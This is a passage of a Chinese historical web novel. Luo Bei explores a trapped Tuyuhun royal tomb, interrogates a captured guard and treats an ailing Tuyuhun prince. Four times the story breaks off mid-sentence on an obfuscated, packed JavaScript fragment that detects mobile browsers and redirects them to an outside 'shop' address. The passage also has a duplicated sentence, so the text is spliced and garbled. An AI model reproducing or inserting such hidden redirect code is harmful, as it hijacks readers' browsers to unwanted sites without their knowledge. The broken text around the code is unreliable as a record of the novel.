头戴插着血雉羽毛的大帽的祭司敲起了鼓,摇起了铃铛,口中以祭司的声音发出长长的声调。他踩着复杂的步子,在火堆边舞蹈,一边挥舞双手,一边往火堆里投入新鲜的枝条,烟柱扶摇直上,连接着天和人之间的界限。 纸马被投入了火里,羽箭被插在祭坛上,最后是新猎来的野鹿,它的血被滴落在地上和火里——祭司的祭词念到了高潮,而后他朝天一呼,双手仰向天空,结束了这旋风般的狂舞。 巴尔思和他的族人们跪下身子,低下头,向神山和祖先祷告。洛北和姚崇、李贞一道,远远地看着他们或歌或舞。 火堆燃尽了,精疲力竭的祭司站起身来,带着人们走下神山。 洛北走在了所有人的最后,他回望了一眼黑黢黢的山洞,脚步微动,踢起一块石子。石子滚入洞中,在几声闷响之后,发出一声咕咚的落水声。 这声响传到前方,人群立刻狐疑地回过头来,不知道神山上到底发生了什么。 “是祖先为孩子赐下了名字。”前方的祭司忽而用祭司特有的声调高声喊,“祖先为孩子赐下了名字——祖先想用河流的名字给孩子命名。” 巴尔思当场伏地祝祷:“山神和祖先在上,我愿意以河流的名字为这孩子命名,就叫他契苾溪。” 欢腾的人群来到山下,正是夕阳西下的好时间。金色的余晖洒满了大地,给这片草原披上了一层金色的纱衣。 兴昔部族的人们身着色彩鲜艳的华丽服饰,围坐在熊熊燃烧的篝火旁,欢歌笑语在夜空中回荡。 为着祖先显灵的神迹,巴尔思又多宰了两头羊,把珍藏多年的好酒也从帐篷里捧了出来。他给姚崇和李贞各倒一杯:“来,客人们,今日我们不醉不归!” 李贞哭笑不得:“这怎么没有洛郎中的份?这次他功劳最大,不给他满上,合适吗?” “少不了他的。”巴尔思指了指帐篷一侧,几个歌者唱着酒歌走了进来,为首的女郎捧着一只金杯,杯中满盛着美酒:“远方的朋友请你干一杯……” 洛北笑了笑,接过金杯一饮而尽。 巴尔思鼓掌大赞:“洛郎中豪爽,歌不停,酒不停,洛郎中,再满饮我这杯如何?” 洛北张了张口正要推脱,酒杯已被递到了他的面前,他只得轻轻一叹,把杯中酒也一饮而尽。 阿米尔见状,也端着酒杯站了起来:“师父,歌声不停,酒杯不停。这杯算是弟子敬给你的。” 洛北拿手遥遥地点了点他的脑袋,神色已有些愠怒。阿米尔却依旧笑嘻嘻地捧着酒杯看着他。洛北没办法,只是笑着摇摇头,又把一杯酒尽数喝了。唱着酒歌的青年男女这才退了下去。 巴尔思叫了开席,一时歌舞不绝,热闹得好像节日。 姚崇与巴尔思相谈甚欢,便坐在巴尔思右侧,与他闲谈些部族事宜。 李贞已按耐不住,下场同部众们比试射箭骑马的本事了。 来向洛北敬酒的部众络绎不绝,洛北推脱不过,一杯一杯的都喝了,酒宴还没过半,他已经倒在桌上不省人事。阿米尔只得把他扶下去休息。 巴尔思大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281636|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“这个洛郎中什么都好,就是酒也不让多喝,肉也不叫多吃,这活着还有什么意思?今天啊,终于叫他醉倒一回。” 姚崇想到一路上洛北那副端正严肃的模样,也忍不住笑起来。 就在这时,下面有人来报:“首领,有吐谷浑部的使者来求见。” 吐谷浑部族不说突厥话,一向和各部往来不多。如今贸然来拜访,不知是敌是友。宴会中一时安静下来,众人都把目光投向首领巴尔思。 “来者是客,让他们进来!”巴尔思站起身,一只手已放在了刀柄上。 慕容鲜卑以白为尊。来访的使节头戴银冠,身披锦绣长袍,匆匆对巴尔思道礼。 他自称慕容承靖,是慕容氏的族人:“首领,我家小王子突然急病,听闻您这里来了位医术高超的郎中,我部愿以重礼来请您代为说项,求他前往诊治。望您慈悲为怀,救救我家小王子吧!” “你家小王子,哦,好像叫什么,什么光来着?”巴尔思倒是听过这个名号,他挠了挠头,“既是吐谷浑的小王子,别说是凉州城的名医,就是长安城的太医也能请的到吧?咱们草原上的小郎中怕是不合适吧。” 慕容承靖知道他言下之意是不肯,只得又说:“不瞒首领说,凉州城的郎中都请遍了,可就是没办法。还是凉州城杏林药铺的索行德索先生提到洛郎中的名字。说是能治这等疑难杂症的人选,天下除了洛郎中之外不作第二人想。我们在草原上一路打听,好不容易才求到这里来。” 姚崇也开口代为劝解:“既然是人命关天的差事,劳动洛北辛苦一趟也没什么。” 慕容承靖见有人愿意敲边鼓,立马从怀里掏出一块精致的玉牌:“若首领愿意出面说项,我愿以五十头羊相赠。便以此为信。” 巴尔思见他把话说到这份上,又有姚崇在一边帮腔,也不好再拒绝,只点了点头,招呼他的儿子:“阿米尔,你去看看你师父醒了没有?要是醒了,就和他说说这事儿。” 阿米尔领命而去,掀开帐篷一看: 帐篷里头空荡荡的,一个人也没有。 他倒吸一口凉气,顾不上猜测自己这位年少的师父去了哪里,只得匆匆跑回宴会现场,只说洛北醉得厉害,这会儿还在梦中未醒。 李贞站了起来:“要不,我去看看?” “不用,不用,不用。”阿米尔连道了三个“不用”,见众人都向他看过来,才知道自己反应得太剧烈了,“《论语》中说‘有事弟子服其劳’,我身为学生,照顾师父是应该的。不需要李老板帮忙。” 姚崇笑起来:“巴尔思首领,令郎是个知礼节,有才学的人呐,看来日后前途不可限量。” 巴尔思对这番吹捧颇为受用:“孩子,你说的对,你师父救了你儿子和妻子的性命,你服侍人家,也是应该的。去吧,今天就不要喝醉了。” 阿米尔领命下去,立刻自己把守在帐内,不许任何人进来,又将铺盖团了团,造成个有人睡觉的影子。 这一切做完,他才开始思索,这附近都是戈壁荒滩,洛北能去哪里呢? 15. 第 15 章 洛北正独自行走在黑黢黢的地下暗河里。冰冷河水湍流不休,他身上的衣服也被飞溅的水花打湿。 好在有席上那三大杯好酒打底,他在这一片黑暗里走了这么久,依旧是浑身发热。 洛北本就想找个机会顺着丹姆的描述探一探这洞窟的虚实。宴饮上的酒水给了他最好的借口。 他将计就计,假借醉酒回了帐篷,又趁着部族里的人都在宴饮,独自来到神山上。他小心翼翼地绕过那些供奉的贡品,跳过动物的尸骨,顺着洞窟一路向下走,踩进了这半人高的地下暗河里。 戈壁滩里这样的暗河并不少见,基本上是雪山融水流淌形成的。地下河流奔涌,地上就是水草丰茂的胜地,有的还能引为灌溉之水,用作屯田。凉州城郊就有类似的水利设施。 洛北甫一入水,便踩到一片平整的地面。他没有感到惊讶,只是确信了这暗河也经过人工修葺,他知道自己在某个庞大建筑的边缘,就把刀和弓箭用准备好的长绳一起绑在身上,顺着河流的方向一路走了下去。 顺着河道走得越远,四周越黑,洛北走了小半个时辰后,唯一的天光也消失,只剩下水流哗啦哗啦的声音、微风吹过的声音和他自己的呼吸声。 洛北从怀里掏出一只火折子吹亮,借着火折子微弱的光,他看到四周墙壁上描金绘彩的图案,一群白衣银冠的人这一幕骑马走在路上,下一幕与人厮杀,再下一幕便是戴上新的王冠....... 他顺着壁画一路向前走去,终点处的一幅是白衣银冠的君主跪倒在金色的光团下:“这是......吐谷浑的壁画?” 洛北不知道这是描绘了吐谷浑臣服大唐的场景,还是吐谷浑的国君走向生命的终点。但有一点他已经可以确定:白衣银冠是吐谷浑部族的盛装,这一处神秘的暗河一定与吐谷浑部族有关。 他聚精会神地端详壁画,没留意到一股突如其来的暗流从河底涌起。这暗流犹如一股无形的力量,瞬间将他卷入其中。他感到身体猛地一沉,然后便被狂乱的水流带着向前冲去。 火折子的光消失不见了。 洛北几度挣扎着想要站稳,但暗流的力量太过强大,他的双腿如同被无形的锁链束缚,无法动弹,只能被暗流裹挟着向前移动。 洛北想努力保持平衡,不让自己被暗流冲倒。可就在这时,他忽而感到脚下一空,整个人开始急速下坠。 是悬崖。 洛北根本不敢去想这悬崖有多高,只能闭上眼睛,努力把身体靠近崖壁,想抓住什么稳住自己,可努力数次,都只摸到一片光滑的崖壁。 他几乎耗尽了力气,快要垂下手臂,任由自己随着瀑布一起下落。他几乎耗尽了力气,快要垂下手臂,任由自己随着瀑布一起下落。 可就在这时,他的手臂被一块凸起的岩石挡了一下。洛北立刻反应过来,用尽全身力气,紧紧抓住了它。 这块岩石现在就是他的救命稻草,让他有与暗流一搏的能力。他试着向外蹬了蹬腿,蹬到另外一处凸起的岩石,终于稳住了身体。他长长地呼出一口气,吸入一些带着水雾的空气,试着向上攀去。 不知过了多久,洛北终于摸到一处可容身的洞窟,他爬进洞窟中,想要坐下来,却感到身边有什么东西。他转过头一看—— 黑暗中,一双眼睛正定定地盯着他的方向。 饶是洛北见惯了大风大浪,此刻也不免惊得一颤。他定了定心神,重新吹亮火折子,往那边照了照。 是一尊托灯仕女铜像。 这座铜像约有半人高,被巧妙地嵌在洞窟的岩壁之上,仿佛与山石融为一体。她的面容雕刻得精致入微,眼眸深邃,镶着一对黑曜石——正是这东西的光辉被洛北当成了眼睛,把他吓了一跳。铜像的鼻梁高挺,唇线柔和,嘴角微微上扬,带着一抹恬静而神秘的微笑。 那雕像托着的灯盘里,有一支半粗的蜡烛尚未燃尽,洛北心下大喜,忙拿火折子在烛芯上一点,小小的洞窟内立刻充斥着一团温暖的光亮。 洛北在黑暗和潮湿的环境里待的太久,已经近乎精疲力尽。他靠在铜像边,越发觉得外袍湿漉漉地贴在身上,似乎每一滴水份都带走他的一点体力。 洛北咬咬牙,缓缓脱下湿透的外袍,露出被河水浸透的贴身衣物和精瘦的腰身。他把外袍罩在仕女的手臂上,靠铜像中的烟气热量蒸干衣裳。自己则靠在铜像后烘得微热的石壁上睡着了。 就在洛北即将沉入黑甜梦乡之际,几声连缀的“咔哒咔哒”声打破了这里的宁静。 洛北猛地惊醒,几乎是本能反应,立刻一口气吹灭了那支蜡烛。 借着铜像的掩护,他从洞窟边向下望——以一个神射手应有的目力,他看到一队擎着火把的影子正缓缓地向这边靠近。 有了火把的亮光,洛北才看清自己处在一个巨大的地下山洞中。两边各有一股河水自河道中奔涌而出,又顺着崖壁飞流而下,注入底部的深潭。潭水流向更深一层的地底,也是这群人走来的方向。 深潭中央是一块宽约三十步,长约四十步的石台,离洛北所处的地方约有二十丈高。石台上矗立着数十个雕刻精致的兽俑像,分别是石马、石羊、石虎等。洛北恍然大悟,这里应该就是吐谷浑部族迁移到凉州后所修筑的王族陵墓——“大可汗陵”。 这一队十来个人,各个头裹黑巾,身披白衣,沉默地从更深处的地方走上来。 走在最末尾的人系了一件暗红的披风,待最后一个人也站到平台上,他扣动了石虎身上的某个机关,刹那间机关转动的哒哒哒声再次响起,一道石门落在了后方的洞口上。水面同石台一起上升,很快就淹到了洛北所处的洞窟下方。 洛北怕他们发现自己,又往铜像后面缩了缩。他现在离这平台不过十几步的距离,只要顶着水流游一小段就能到达。他看着那人又按动石马鬃毛上的机关,当即顺着机关声音滑进了水中。 更高处的石门开了,队伍消失在石门深处。洛北趁此机会,一蹬崖壁,便顺当地扒住了石台的边缘。 他爬上石台,点亮火折子,向四周看了一眼,这里应当是天然形成的一处地下湖泊和洞穴,吐谷浑人开凿之后,才修建成如今开阔的样子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281637|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此刻河水还在不断地向下流着,洛北在石马上摸了一摸,摸到一处凸起,便是一掰。 一阵细微的机扩声从近处传来。他不敢大意,立刻一按石马,飞身向一边的石柱上跃去。数支寒光羽箭从石马的身上射出,钉在了远处的石壁上。 洛北长出一口气,跳下石柱。正要再去试探机关的用法。他甫一落地,石马周围的地板又是一空,下方刀光森森,要是跌落其间,恐怕会被扎成刺猬。 洛北本想继续在兽俑上躲避,只是地板翻转不休,他也没有十足把握能在这些兽俑之间飞跃,只得再度吹灭火折子,进入水中,等待机关停下再重新回到石台上。 可就在这时,石门再度被人从外面打开了,那个红披风的人手持火把,站在门外,眼看石台地板翻转,便知道有人触动了机关。他冷笑了一声,穿过石门,走向门边一块水晶雕刻的石盘,用力扳动了一下,机关咔哒咔哒声再度响起—— 洛北知道他是在启动新的机关好致自己于死地。他后退了一些,好让自己的双腿蹬在崖壁的岩石上找个支点。 而后他引弓搭箭,直把身上剩余三箭都射了出去—— 在一片黑暗中,手持火把身披披风的人格外显眼。他眼看羽箭飞来,下意识要躲避,身形却慢了一步,被最后一支羽箭牢牢地钉在石壁上。 洛北快速游到石门边,爬上岸。他扫了一眼水晶石盘上古奥的鲜卑文字,却看到一条条水蛇露出水面。它们被这边的血腥气吸引,正往这边游来。 要是刚刚出手慢了一点,他一定会变成这些东西的盘中餐。 洛北看了一眼那红色披风的人,一拳砸在他的下巴上。那人立刻失去了意识,身子缓缓下滑,洛北将羽箭拔出,重新系在背上,又将此人捞起,拖在地上,向外走了出去。 石门在他们身后陡然关闭,将蛇和水潭都留在后面。洛北拖着此人走了不到半个时辰,便从神山附近的一处半人高的地穴里爬了出来。 戈壁滩上干爽的夜风一吹,洛北才长长地出了口气,此刻明月高悬,天色明亮。他将此人绑好,一边在戈壁滩上寻些草木枯枝,升起火来,一边在脑海中梳理着此行的成果。 他已经确信,吐谷浑部族中有人正在部署一个巨大的阴谋,在大可汗陵里穿行的这些人,绝对不是守墓或祭扫的人。但这个阴谋究竟是什么,他还需要更多的线索才能知道。比如,身边这个人的口供。 不过,当务之急是要和凉州的郭元振取得联系,尽快把姚崇这位当朝大佬送回安全的地方。洛北想了想,最终还是掏出一只玉质的短笛,在寂静的戈壁滩上吹了几个短音。 没过多久,一只金雕穿过夜空,落在他的肩上。 洛北摸了摸金雕光滑的毛发。在金雕长到半人高时,他就把它交给凉州城里最好的驯鹰人训练。往日出入草原,也带着它一道在附近撒欢。这一次也不例外。 只是他左找右找,除了在那人身上找出几张写着鲜卑文字和图形的纸张之外,也没翻出一点可以写字的东西,正在发愁的时候,不远的土包上跑来一个拿着火把和短刀的人。 16. 第 16 章 洛北定睛一看:“阿米尔?你怎么在这里?” 他不提这句话还好,一提这句话阿米尔就是一肚子的苦水。他好容易用混着突厥话的汉话说了吐谷浑使者的事情,抬头却看到洛北身上沾着血,不由得大惊失色: “师父,你这是怎么了?受伤了?” “不是我的血,”洛北给他指了指躺在地上的人,“我酒醉难受,就出来走走,没想到在神山附近的地穴里看到了丹姆说到的那些人。我就跟着他们走了一段路.......” 他删繁就简地大概讲了讲自己在地下洞窟的冒险,避开自己种种“亵渎”神山的举动,听得阿米尔是瞠目结舌:“师父,这也太危险了!” 洛北摆了摆手:“这些都过去了,我们不要再谈。眼下最要紧的事情是,要撬开这个人的嘴,让他把他知道的内容都倒出来。” 河边微风吹拂,水流和缓。洛北喝了一点用树枝烧开的热水,又咬了几口阿米尔带来的干粮,披着斗篷,听着阿米尔用汉话审问犯人。 “你叫什么名字?做什么营生的?” “我不是说过了,叫白一。是个老实本分的牧民,不知道怎么的被抓来了。就是神山上不准打猎,也没说神山附近不准走人吧。” “前一晚,你在哪里游荡?” “在家里啊,这大晚上的,还能在哪里?” ........ 自此人被阿米尔用冷水泼醒,这来来回回的对话就发生了一遍又一遍。不论阿米尔如何询问,这个狡猾的对手总用一套方法搪塞,气得阿米尔满脸通红。 洛北见阿米尔又气得说不出话,快步走上前去,用力拔出了犯人肩上的羽箭。 那人被突如其来的痛楚吓得一懵,半晌才反应过来,怔怔地看着洛北。 洛北露出一个几近于冷酷的笑容,他用吐蕃语慢条斯理地说:“咱们打开天窗说亮话吧,你觉得,你还能活着看到明天的太阳吗?” 阿米尔不懂吐蕃语,他注意到,对面那个人的脸色一下子黯淡了下去。 “你和我都很清楚,你在地下想要放蛇咬死我的时候,我和你已经是不死不休了。现在唯一的问题是,你到底想怎么死?” 洛北抽出腰间的一把匕首,在他面前亮了亮: “我曾经在雪域高原上住过不短的时间,我有的是办法可以折磨你几个时辰,甚至几天,再让你痛苦地,哀嚎着死去,然后把你残缺的尸首扔进烈火,让你的灵魂永世受到折磨。” 那人的脸色瞬间白了,他甚至下意识地咽了一口吐沫。 “或者,你可以对我们说实话,我保证给你个痛快。再把你的尸首按照习俗放在天葬台上,让你的灵魂得到安息。”洛北看着他,语气柔和,“只需要你把你知道的一切告诉我。” 那人沉默了。洛北当即抬手往他的眼中扎去。就在刀尖离眼球仅有一点距离时,那人哀嚎着喊了出来:“我说,我说,求你,求你,别动手,别动手。” “用汉话说吧。”洛北面无表情地看着他,“从你是谁开始说。” 那人当即改用磕磕绊绊的汉话开始讲述: 他是吐谷浑部族的一个军人,名字叫吐查,一年前,吐谷浑首领慕容宣超去世,归葬凉州的大可汗陵。他这支小队就奉命开往大可汗陵,为大可汗守陵。 突然有一天,外头来了好多吐蕃人,带领他们的是一个吐谷浑贵族,他出示了有首领印章的命令,说这些吐蕃人是帮助部族修葺大可汗陵和描绘新壁画的工匠,要求他们打开大可汗陵。 吐查只得领命照做。可慢慢他发现,这些吐蕃人每日只在墓里捯饬机关消息,设置杀人陷阱,从不描绘什么壁画,那些要致洛北于死地的水蛇,就是他们放进去的。 阿米尔在一边越听越奇怪:“你刚刚说,有个吐谷浑贵族带着他们来,这个贵族是谁?” “不知道,我们都是小的不能再小的人,哪里知道这些老爷们是谁,就听人家说,叫他王子。”吐查好容易说完,又见到洛北神色冷漠,当即哀求道:“我什么都说了,你,你要杀我的话,给我个痛快......” 洛北点了点头,用刀背拍在了他的脖颈上。吐查身子一颤,又晕了过去。 “师父,你刚刚用吐蕃话和他说了什么呀?”阿米尔问他。 “我说,我一定会杀了他。让他自己选,是说实话得个痛快,还是说谎话被我折磨一番再死。”洛北看阿米尔脸上露出笑容,“你笑什么?” “我就是觉得,师父你威胁人的样子,确实有点吓人。”阿米尔笑了一会儿才收住,“师父是真的要他死?我现在就可以把他处置了。” 洛北摇了摇头:“不,他知道的比他说的要多。就比如他在这件事情里扮演的角色吧,他把自己描绘得像个无辜的人,其实都是谎话。” 他一边说着,一边把自己在此人身上的文书递给了阿米尔一份。 “照这个图上来看,至少此人是清楚大可汗陵里的构造的?” “是的。”洛北轻轻叹了口气,“咱们得留着他的性命,等凉州的人到了,让那些经验丰富的审讯官好好问问他。你替我找个地方把他关起来,给他留下食物和水,但不要被人发现。至于我,”他揉了揉脑袋,“我得想想,怎么才能把这桩看病的差事暂时回绝掉.......” 只是洛北没想到,姚崇一听他想拒绝去吐谷浑的差事,立刻反对: “什么,你不去给小王子治病?不,不行。在这件事情上,绝没有商量的余地。” 洛北把他的理由掰开了揉碎了,什么吐谷浑部族路途遥远,此去危险,什么郭元振已有嘱托在前一类的都说了,姚崇只是两个字:“不行”。 最后,洛北没有办法,就把自己在神山下冒险的始末和盘托出:“姚公,郭都督叫我陪您出行,便是把您的安全交给了我。吐谷浑部族已有叛乱之心,我怎么能把您带去冒险?” 姚崇和他一路相处,知道他平日端方雅正,极少情绪激动至此,也没了办法,只得叹了口气,从包袱中拿出一只明黄色包裹的图卷。 李贞和洛北都是一惊。这分明是皇家之物。 李贞下意识地要跪接,姚崇却摆摆手止住了他:“这封密旨并不是给你们的。你们俩也不要接——看过之后,就把它忘掉,明白我的意思吗?” 李贞点了点头,和洛北一道双手接过密旨,那上面的官样文章,讲的只有一件事: 命姚崇代天子巡视吐谷浑部族,为其立一位新首领。 洛北顿时明白,这就是郭元振所说的姚崇的“底牌”。他久在边关,对吐谷浑部族之事有所了解: 一年之前,吐谷浑首领慕容宣超突然因病去世,本应继位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281638|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小王子慕容曦光还是个十三岁的孩子。 当时朝中便有声音,说慕容曦光年幼,镇不住吐谷浑的局势,不如另立慕容宣超已经成年的弟弟慕容宣昌为首领。 当时郭元振、李贞这些在边关的大臣纷纷上书抗辩,吐谷浑部族素来父死子继,贸然打破传统,会引起不满。 两股声音在朝中僵持不下,此事便被暂时搁置,没想到女皇竟在姚崇离京时下了这道圣旨给他。 他沉默半晌,才道:“姚公,古人说千金之子坐不垂堂。如今形势复杂,您要前往吐谷浑部族,也应该让郭都督派兵护送才是。万一要是出了意外,属下怎么和郭都督交待。” 李贞也赞成他的意见:“灵州兵马也离此地不远,若姚相公肯在此稍住数日,我可以回灵州借精兵一百,组成钦差卫队,护送姚公。” “不如叫我摆出全副钦差仪仗,吹吹打打地去,保管没进吐谷浑的地界,就把戈壁滩上的飞鸟走兽都吓跑了。”姚崇极为严厉地扫了他俩一眼,“我之所以要借着他们来凉州祭祖的机会前来查访,便是要搞清楚吐谷浑部族的真实情况。你们俩连这个都想不明白?!” 洛北知道他已经有点生气,可还是开口劝道:“可吐谷浑部族中有人勾结吐蕃,阴谋作乱......” “洛北,”姚崇一字一顿,连名带姓地喝住他,“倘若你贪生怕死,我绝不强求。但你给我记住,吐谷浑部族是大周治下的地界,那里的百姓是我大周的子民。便是有人有谋反之心,只要我姚崇站在这里,就不会让它燃成燎原之火!” 李贞听出姚崇这是动了真怒,干脆连拉带拽地把洛北扯出帐篷: “小杖受,大杖走。他气成那样,你还要和他硬顶什么?他这套微服私访的习惯,是跟他的恩师梁国公狄仁杰学的,一向奉为圭臬,你和我怎么可能劝得住他,算了吧。” 听到“狄仁杰”三字,洛北愣了片刻,半晌才小声道:“便是狄公,也不会不给自己留后手地就往龙潭虎穴里闯啊。” 他这话显然透着几分委屈。李贞不由得笑了,伸手照他肩上拍了一下:“姚公虽然脾气称不上很好,但也不是莽撞的人。等他一会儿消了气,定会叫我找人往凉州城里报信,让你家郭都督领兵接应。” 他看到洛北神色稍霁,又继续说:“不过,虽然姚公刚刚说的话是气话,有一点却是对的,吐谷浑归附我朝已经三代,又与吐蕃有灭国失地之仇。即使有人想勾结吐蕃叛乱,大部份吐谷浑民众也不会同意的。” “如果有人让他们陷入不得不反的境地呢?”洛北反问道。 “不得不反?”李贞一时没有理解他的话。 “是啊。”洛北看向他,神色中甚至有些玩味,“比如……前来微服私访的朝廷钦差,当朝宰相姚崇在吐谷浑部族的地盘上死于非命?” 李贞闻言大惊,一时只看看他,又看看姚崇的方向,不知是该说他这话说得太不吉利,还是该说他这想法太恐怖——谋杀朝廷钦差视同谋反,在武周朝,是可以诛灭九族的。平常人连想都不敢想,在洛北这样轻描淡写地说来,倒好像是人人都能干的一件事:“此话当真?” “对方既然准备谋反叛乱,杀掉一个宰相不过是顺手的事。”洛北轻轻叹了口气,“如今你我只能见机行事,还要记住……除非已有大军到来,千万不能暴露姚公的身份。” 17. 第 17 章 洛北等人在慕容承靖的带领下赶到凉州城南时,已是漏夜时分了。 和一般庐帐为家的游牧民族不同,吐谷浑部族在凉州修筑了一座小城供族人居住。城墙是由砾石堆砌而成,根据吐谷浑人尚白的习俗,涂上了灰白的泥土。 慕容承靖忧心小王子的病情,马不停蹄地带着众人进了位于城中的石堡。 帘幕低垂的内室中传来一连串哀嚎。洛北循着声音走进去,只见床边站了个忧心忡的青年人。 他打量一眼众人,抓住了姚崇的手:“洛郎中,洛先生,求求您,救救我这个侄子吧。” 他这样一说,众人便都知道他是慕容宣超的弟弟,慕容曦光的叔叔慕容宣彻。 姚崇有些尴尬地抽回手,指了指旁边的洛北:“宣彻王子误会了,我姓姚,是随洛郎中来见见世面的商人。这位公子才是洛北洛郎中。” 慕容宣彻打量了一眼洛北,只见他面如冠玉,目如流金,端的是丰神俊朗,心下有些怀疑,但也不敢怠慢,低身行礼道:“洛公子,是我唐突了。还请您施展神通,救救我这侄儿吧。” 不消他多说,洛北已接过侍婢递来的热水和巾帕净了手,伸出两指试了试王子的脉搏。那脉象洪数,如同河流湍急。 “殿下。”洛北低声问慕容曦光道,“你觉得哪里不太舒服?” 慕容曦光瞪大眼睛看着他,双目布满了红血丝,唇舌焦烈,满脸通红,声音震颤:“浑身,浑身都在疼。”他说不到几个完整的句子就拧着身子偏到一边,显然是痛得很了。 洛北没有再问,立刻叫人取了金针来,在烈酒中过了过,示意慕容曦光将双腿微屈。 慕容曦光只见他容貌俊朗,语气平和,带着令人镇静的力量,心下先信了几分,不顾痛楚,勉强依照他的话做了。 洛北摸到慕容曦光腓骨的凸起处,在凹陷处取“阳陵泉”穴各扎了一针。而后是膝后的“委中穴”、外踝后方的“昆仑穴”。 他这几针下去,慕容曦光双眸中才算有了些光彩,他精疲力尽地瘫在床上,似乎从未觉得如此安宁,不一会儿竟闭上眼睛,安然睡去了。 慕容宣彻几乎不敢相信自己的眼睛:“洛郎中真是……真是神医啊……这是法术,还是医术?我这侄儿这样就能好了?” 洛北摇了摇头:“这只是治标,离痊愈还远着呢。给小王子取些冷水来擦擦身子,这样他会好受些——他多休息一会儿,多积攒些精力,之后就会好得更快些。” 慕容宣彻反应过来:“我马上去办!”他一时激动,忘了屋子里还有下人奴婢,自己冲出屋子去打水了,还差点在门口被绊了一跤。 众人见状,都笑了,倒是减轻了些屋内沉闷的氛围。 李贞低声对姚崇道:“这小子先前还和我胡扯什么‘我这点伎俩,不一定能够得着太医院的门’,我看太医院那些混日子的,见了他只有自惭形秽,磕头拜师的份!” 姚崇似乎在想什么别的事情,半晌才有点感叹似的开口:“类似的话,我听另外一个人说过.......” 李贞好奇问:“都说名医大家总有共通之处,不知道姚公您遇到的是哪位?莫不是当今太医院的院正?” 姚崇轻轻一笑:“不是。是我已故的恩师,梁国公狄仁杰。” 李贞正要说什么,却看到一个身着满绣绸缎长袍的青年跟在慕容宣彻身后,一路叫喊着什么跑了进来。 他走到近前,众人才看到他身形又高又胖,活像只小熊,此刻他挥舞着手臂,步履蹒跚地跟在慕容宣彻身后,显得颇为滑稽: “王子,万万不可,万万不可啊。” 慕容宣彻不耐烦理他,倒是慕容承靖实在看不过眼,过去把他一把拉了起来,向众人解释道: “这是陆眠与陆郎中,他的父亲还做过太医,当年救过重伤的首领性命。后来首领重金聘他的父亲作为家医,陆郎中子继父业,自小和我们一块长大的。” “承靖王子,你拉我干什么?!小王子的病是不能这样治的!你想,小王子正在病中,哪里经得起冷水擦拭啊,要是着了凉,这病就更好不了了!” 慕容承靖一脸恨铁不成钢,正要说些什么时,洛北已经开腔替他解了围:“陆郎中,小王子的病一直都是你在诊治?” 陆眠与见他开口,双手抱胸,颇为高傲地看了他一眼:“是啊,怎么啦?” “可否让我看看之前的脉案和药方?” 洛北这样不卑不亢,倒叫陆眠与一腔火气无处发泄,他从怀里拿出一本皱皱巴巴的册子,摔到了洛北面前: “小王子关节疼痛,浑身发热。我诊断此症为热痹,开了独活寄生汤给小王子服用。就算我一个人错了,可后来我们遍请名医,他们的诊断都和我一样,药方也差不多。难道这天下只有公子会治病,我们这些人都是白学的了?” 洛北捡起脉案看了看,心中已经有了数,温言和陆眠与解释道: “陆郎中,你的诊断是对的。可开的药错了。独活寄生汤、羌活胜湿汤都是辛燥去风的药,城里的贵人们用用不妨事。可不适合草原上吃着羊肉喝着酒长大的小王子。” 陆眠与还是不服气:“这医书上说,热痹是风、寒、湿三气杂合而致病。我们开些驱寒祛湿的药怎么就开错了呢?” “开药也要因地制宜,因人而异。”洛北一边说着,一边在纸上开出药方,“陆郎中,这些药你这里都还有吧?” 陆眠与“哼”了一声:“我倒要看看你开的什么灵丹妙药。”他接过药方一读:“寒水石、滑石、朱砂、麝香、丁香……你给小王子开了紫雪散?!你疯了不成?这药用不好是要死人的。” “什么药用不好都是要死人的。”洛北见慕容宣彻忙完坐起身,向他低身道礼,“宣彻王子,此药有些凶险,可否准许我自己去煎药……并让陆郎中从旁辅助?” 慕容宣彻见自家侄子已经安眠,心情也松泛下来,见洛北请求,自然应允:“小神医但请吩咐,有什么需要我做的,随时和我说。” 他转眼看到陆眠与,也是一副恨铁不成钢的模样:“瞪我?瞪我有什么用?还不快去,跟着洛郎中好好学一学!” 陆眠与有些委屈,但见慕容宣彻一脸坚决,也只得跟在洛北身后下去了。 洛北自然不会真的要他帮忙,只是怕他杵在那里,对自己的药方指指点点。他自顾自将药材抓好,投入壶内,便守着炉火闭目养神起来。 陆眠与见他假寐,凑过来把他从上到下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 